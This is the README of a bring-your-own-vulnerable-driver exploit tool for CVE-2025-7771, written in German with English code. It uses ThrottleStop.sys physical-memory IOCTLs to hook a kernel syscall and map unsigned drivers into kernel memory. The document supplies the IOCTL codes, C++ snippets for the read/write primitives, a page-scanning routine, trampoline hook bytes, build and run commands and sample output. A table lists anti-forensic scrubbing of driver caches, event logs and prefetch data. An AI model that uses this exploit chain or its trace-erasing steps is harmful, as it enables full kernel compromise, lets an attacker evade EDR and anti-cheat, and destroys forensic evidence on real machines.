
Erhöhung der Systemberechtigungen von einem unsignierten Treiber aus unter Ausnutzung der Throttlestop-Sicherheitslücke.
CVE-2025-7771 — Beliebiger physischer Speicher Lese-/Schreibzugriff über ThrottleStop.sys IOCTLs
Dieses Projekt wird ausschließlich zu Bildungs- und Forschungszwecken veröffentlicht. Ziel ist es zu demonstrieren, wie ein signierter, vertrauenswürdiger Kernel-Treiber für eine lokale Privilegienausweitung (LPE) von Administrator auf SYSTEM/Kernel verwendet werden kann, wodurch moderne Windows-Sicherheitsfunktionen einschließlich HVCI (Hypervisor-Enforced Code Integrity) und Secure Boot effektiv umgangen werden.
Verwenden Sie dieses Tool nicht für böswillige Zwecke. Der Autor übernimmt keine Verantwortung für Missbrauch.
ThrottleStop.sys mit Physical-Memory-Mapping IOCTLs ausliefernDer Kernel-Treiber ThrottleStop.sys stellt ein Gerät (\\.\ThrottleStop) bereit, das für jeden lokalen Administrator zugänglich ist. Es implementiert zwei IOCTLs, die uneingeschränkten physischen Speicherzugriff bieten:
#define IOCTL_TS_READ_PHYS 0x80006498 // Read arbitrary physical address
#define IOCTL_TS_WRITE_PHYS 0x8000649C // Write arbitrary physical address
0x80006498)Input: ULONG64 PhysicalAddress (8 bytes)
Output: Data buffer (1–8 bytes per call, determined by OutputBufferLength)
Der Treiber ruft MmMapIoSpace() auf, um die angeforderte physische Adresse in den virtuellen Kernelraum abzubilden, kopiert die Daten in den Ausgabepuffer und ruft dann MmUnmapIoSpace() auf. Es wird keine Validierung der physischen Adresse durchgeführt — jede Adresse im physischen Adressraum kann gelesen werden.
0x8000649C)Input: ULONG64 PhysicalAddress (8 bytes) + Data (1–8 bytes)
InputBufferLength = 8 + DataSize
Output: None
Gleicher Mechanismus wie beim Lesen, schreibt jedoch benutzerbereitgestellte Daten an die gemappte physische Adresse. Auch hier keine Adress- oder Bereichsvalidierung.
Der Treiber wurde entwickelt, um ThrottleStop (ein CPU-Undervolting/Drosselungs-Dienstprogramm) das direkte Lesen/Schreiben von MSRs und Hardware-Registern zu ermöglichen. Die physischen Speicher-IOCTLs wurden wahrscheinlich für den MMIO-Zugriff auf den PCI-Konfigurationsraum oder CPU-Temperatursensoren hinzugefügt, aber die Implementierung führt keine Grenzüberprüfungen durch:
GENERIC_READ | GENERIC_WRITE Handle-Zugriff hinausDies verwandelt einen legitimen Hardware-Dienstprogramm-Treiber in eine vollständige Kernel-Level Lese-/Schreibprimitive.
Die Ausnutzungskette führt von einem lokalen Administrator-Konto zur beliebigen Kernel-Code-Ausführung, wodurch effektiv eine SYSTEM-Level-Ring-0-Kontrolle erreicht wird.
Der Mapper legt ThrottleStop.sys in %TEMP% ab, erstellt einen Dienst-Registrierungseintrag unter HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop und lädt ihn über NtLoadDriver():
// Enable SeLoadDriverPrivilege for the current process
driver::util::enable_privilege(L"SeLoadDriverPrivilege");
// Create service entry pointing to the dropped .sys file
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");
// Load via NtLoadDriver
NtLoadDriver(&driver_reg_path_unicode);
// Open device handle
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);
Hinweis: Da ThrottleStop.sys legitim signiert ist, wird es selbst mit aktiviertem HVCI/Secure Boot geladen. Die Windows-CI-Richtlinie vertraut dem Zertifikat.
Mit dem Gerätehandle kann der Exploit jede physische Adresse im System lesen/schreiben:
// Read 8 bytes from physical address 0x1000
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);
// Write 8 bytes to physical address
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr; // address
*(ULONGLONG*)(input + 8) = shellcode_qword; // data
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);
Der Exploit kapselt diese in Hilfsfunktionen, die segmentierte Lese-/Schreiboperationen (1, 2, 4 oder 8 Bytes pro Aufruf) für Übertragungen beliebiger Länge handhaben.
Um beliebige Kernel-Funktionen auszuführen, muss der Exploit die physische Adresse eines Kernel-Syscall-Handlers finden. Er zielt auf NtSetEaFile (einen selten überwachten Syscall):
ntoskrnl.exe im Benutzermodus über LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES), erhalte die RVA von NtSetEaFileRVA & 0x1FFFFFHARDWARE\RESOURCEMAP\System Resources\Physical Memory), in 2MB-Schritten vorgehen und Bytes vergleichen:for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
candidate_pa = phys_2mb + offset_in_2mb;
read_phys(candidate_pa, &first8, 8);
if (first8 == pattern_first8) // quick check
{
read_phys(candidate_pa, verify, 32); // full verify
if (memcmp(verify, pattern, 32) == 0)
{
syscall_phys_addr = candidate_pa; // found it!
// ... validate via PsGetProcessSectionBaseAddress
}
}
}
PsGetProcessSectionBaseAddress(current_pid) aufzurufen und zu überprüfen, ob die zurückgegebene Basis mit GetModuleHandle(NULL) übereinstimmt.Sobald die physische Adresse von NtSetEaFile bekannt ist, installiert der Exploit einen 12-Byte-Trampolin direkt über physische Speicherschreibvorgänge:
; Original NtSetEaFile bytes (saved for restoration)
; Replaced with:
mov rax, <target_kernel_address> ; 48 B8 <8-byte imm64>
push rax ; 50
ret ; C3
// Install hook
unsigned char jmp_code[12] = {
0x48, 0xB8, // mov rax, imm64
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // <target address>
0x50, // push rax
0xC3 // ret
};
memcpy(jmp_code + 2, &target_function, 8);
write_phys(syscall_phys_addr, jmp_code, 12);
// Trigger from usermode
NtSetEaFile(args...); // → jumps to target_function in kernel!
// Restore original bytes
write_phys(syscall_phys_addr, saved_bytes, 12);
Wichtige Erkenntnis: Das Schreiben auf die physische Seite umgeht HVCI's virtuelle Speicherschutzmechanismen. HVCI verhindert
W+X-virtuelle Seiten, aber physische Speicherschreibvorgänge überMmMapIoSpaceim Treiber gehen direkt in den RAM.
Mit der Syscall-Hook-Primitive kann der Exploit jede Kernel-Funktion mit beliebigen Argumenten aufrufen:
// Allocate executable kernel memory (HVCI-compatible)
auto pool = syscall<ExAllocatePool2>(ExAllocatePool2_addr,
POOL_FLAG_NON_PAGED_EXECUTE, size, tag);
// Copy driver image to kernel pool via RtlCopyMemory
syscall<memcpy>(RtlCopyMemory_addr, pool, image_data, image_size);
// Call the driver's DriverEntry
syscall<DRIVER_INITIALIZE>(entry_point, pool_base, image_size);
Dies bildet effektiv einen unsignierten Treiber ab und führt ihn aus im Kernelspace — vollständige Privilegienausweitung.
Nach dem Laden der Nutzlast beseitigt der Exploit alle Spuren:
HVCI (Hypervisor-Enforced Code Integrity) verhindert die Ausführung von unsigniertem Code im Kernelspace, indem es W^X (Write XOR Execute) auf Kernel-Virtualseiten durch Second Level Address Translation (SLAT/EPT) durchsetzt.
Dieser Exploit umgeht HVCI, weil:
Legitimer Treiber: ThrottleStop.sys ist ordnungsgemäß signiert und besteht die CI-Validierung, sodass es auch bei aktiviertem HVCI normal geladen wird.
Physisch statt virtuell: Die IOCTLs verwenden MmMapIoSpace(), das auf physischen Adressen operiert. HVCI's Schutzmechanismen werden auf der Ebene der virtuellen Seitentabellen und über EPT durchgesetzt, aber MmMapIoSpace erstellt eine neue virtuelle Zuordnung für die physische Seite mit entsprechenden Berechtigungen. Der Schreibvorgang auf die physische Seite der Syscall-Funktion ändert die RAM-Inhalte, auf die die bestehende virtuelle Zuordnung bereits zeigt.
Ausführbarer Pool: Der Exploit allokiert Speicher über ExAllocatePool2 mit POOL_FLAG_NON_PAGED_EXECUTE, was eine legitime, HVCI-zugelassene Methode ist, um ausführbaren Kernel-Speicher zu erhalten. Der Kernel selbst verwendet dies für JIT-kompilierten Code und bestimmte Pool-Zuordnungen.
Kein Laden unsignierter Treiber: Der Mapper ruft nie NtLoadDriver mit einem unsignierten Image auf. Stattdessen schreibt er die Nutzlast manuell in eine bereits ausführbare Kernel-Pool-Zuordnung und ruft deren Einstiegspunkt über den Syscall-Hook auf.
┌─────────────────────────────────────────────┐
│ Usermode (Admin) │
│ │
│ 1. Load ThrottleStop.sys (signed, trusted) │
│ 2. Open \\.\ThrottleStop device │
│ 3. Read/Write physical memory via IOCTLs │
└──────────────┬──────────────────────────────┘
│ DeviceIoControl
▼
┌─────────────────────────────────────────────┐
│ ThrottleStop.sys (Kernel) │
│ │
│ MmMapIoSpace(PhysAddr) → memcpy → unmap │
│ No validation, any physical address OK │
└──────────────┬──────────────────────────────┘
│ Physical Memory Write
▼
┌─────────────────────────────────────────────┐
│ NtSetEaFile Physical Page │
│ │
│ Original bytes overwritten with: │
│ mov rax, <payload>; push rax; ret │
│ │
│ → Any usermode NtSetEaFile() call now │
│ executes arbitrary kernel code │
└──────────────┬──────────────────────────────┘
│ Kernel Code Execution
▼
┌─────────────────────────────────────────────┐
│ Full Kernel Compromise │
│ │
│ • ExAllocatePool2 (executable pool) │
│ • Map unsigned driver into kernel memory │
│ • Call DriverEntry → SYSTEM-level access │
│ • Scrub all forensic artifacts │
└─────────────────────────────────────────────┘
git clone https://github.com/<your-repo>/throttlestop-mapper.git
cd throttlestop-mapper
# Open imxyviMapper.sln in Visual Studio
# Build → x64 Release
# Basic usage — auto-scans physical memory for syscall page
mapper.exe payload_driver.sys
# With pre-computed kernel CR3 (faster, skips scan)
mapper.exe payload_driver.sys 1AD000
[+] Driver: 45056 bytes
[*] Parsing PE...
[+] PE OK: entry=0x3040 size=0xC000
[*] Loading vulnerable driver...
[+] Driver loaded, handle=0x0000000000000094
[+] IOCTL OK
[*] Finding syscall page...
[+] Syscall page found
[*] Fixing imports...
[*] Allocating executable kernel pool (49152 bytes)...
[+] Pool allocated at: FFFFA40B7C8E0000
[*] Writing driver to kernel...
[*] Calling entry point at 0xFFFFA40B7C8E3040...
[+] Entry point returned
[*] Cleaning MmUnloadedDrivers...
[+] MmUnloadedDrivers successfully scrubbed
[*] Unloading vulnerable driver...
[+] Done
ThrottleStop.sys-Hashes zur Microsoft Vulnerable Driver Blocklist hinzuMmMapIoSpace-Aufrufe, die auf RAM-gestützte physische Adressen von nicht-whitelistierten Treibern abzielenrdmsr/wrmsr) anstelle von rohem MmMapIoSpaceMmMapIoSpace auf bekannte MMIO-Bereiche (PCI-BAR-Regionen, LAPIC usw.)ThrottleStop.sys anhand des Hashs blockiertDieses Projekt wird unter der MIT-Lizenz für Bildungs- und Forschungszwecke veröffentlicht. Das zugrundeliegende physmeme-Framework ist © 2020 xerox (MIT-Lizenz).
🔬 Verantwortungsvolle Offenlegung: Diese Schwachstelle wurde von Demoo1337 entdeckt und dem Anbieter gemeldet. Dieses Repository dient als Dokumentation für die Sicherheitsforschungsgemeinschaft.
| Feld | Details |
|---|
| CVE | CVE-2025-7771 |
| Treiber | ThrottleStop.sys (enthalten in ThrottleStop) |
| Anbieter | TechPowerUp / Kevin Glynn |
| Typ | Beliebiger physischer Speicher Lese-/Schreibzugriff |
| Auswirkung | Lokale Privilegienausweitung (Admin → Kernel) |
| CVSS | 8.2 (Hoch) |
| Signatur | Microsoft-signiert über WHQL / Attestierung |
| HVCI-Umgehung | ✅ Ja — Treiber ist legitim signiert, von CI-Richtlinie erlaubt |
| Artefakt | Bereinigungsmethode |
|---|
| PiDDB-Cache | Entsperrt PiDDBLock, findet Eintrag im AVL-Baum über RtlLookupElementGenericTableAvl, entfernt und löscht |
| MmUnloadedDrivers | Scannt den 50-Einträge-Ringpuffer, setzt passenden Namen und Eintrag auf Null |
| BigPoolTable | Scannt PoolBigPageTable nach der Zuordnungs-VA, setzt den Eintrag auf Null |
| Pool-Header | Fälscht das POOL_HEADER-Tag zu MmSt (häufiger System-Tag) |
| PE-Header | Setzt DOS/NT-Header, Importverzeichnis, Debug-Verzeichnis, verwertbare Abschnitte in der Kernel-Zuordnung auf Null |
| Registry | Löscht den Schlüsselbaum HKLM\...\Services\ThrottleStop |
| Treiberdatei | Löscht ThrottleStop.sys aus %TEMP% |
| Ereignisprotokolle | Löscht relevante Einträge aus System- und Sicherheitsprotokollen |
| Prefetch / BAM | Bereinigt ShimCache, BAM (Background Activity Moderator) und Prefetch-Artefakte |
| Kategorie | Auswirkung |
|---|
| Vertraulichkeit | 🔴 Total — kann jeden Kernel-/Prozessspeicher lesen |
| Integrität | 🔴 Total — kann in jede Kernel-Struktur schreiben, jede Funktion hooken |
| Verfügbarkeit | 🟡 Hoch — unsachgemäße Schreibvorgänge verursachen BSOD |
| Authentifizierungsumgehung | 🔴 SYSTEM-Zugriff von Admin |
| Anti-Cheat-Umgehung | 🔴 Umgeht Kernel-Level Anti-Cheat (EAC, BattlEye, Vanguard) |
| EDR-Umgehung | 🔴 Läuft unterhalb von EDR-Hooks, kann Sicherheitstools entkoppeln/deaktivieren |
| HVCI | 🔴 Umgangen durch legitimen signierten Treiber |
| Secure Boot | 🔴 Umgangen (Treiber hat gültige Signatur) |
| Wer | Beitrag |
|---|
| Demoo1337 | Ursprüngliche Entdeckung und Dokumentation von CVE-2025-7771. Hat die ThrottleStop.sys IOCTL-Handler reverse-engineered, die MmMapIoSpace-Schwachstelle im physischen Speicher identifiziert und den ersten Proof-of-Concept-Exploit veröffentlicht. Dieses Projekt würde ohne seine Forschung nicht existieren. |
| xerox / IDontCode | Autor des physmeme-Frameworks, das als Basis für den Kernel-Mapper, Syscall-Hooking und die forensische Bereinigungslogik verwendet wird. |
| TheCruZ | Autor von kdmapper, dessen Techniken zur PiDDB-Cache-Bereinigung und Treiberabbildung diese Implementierung beeinflusst haben. |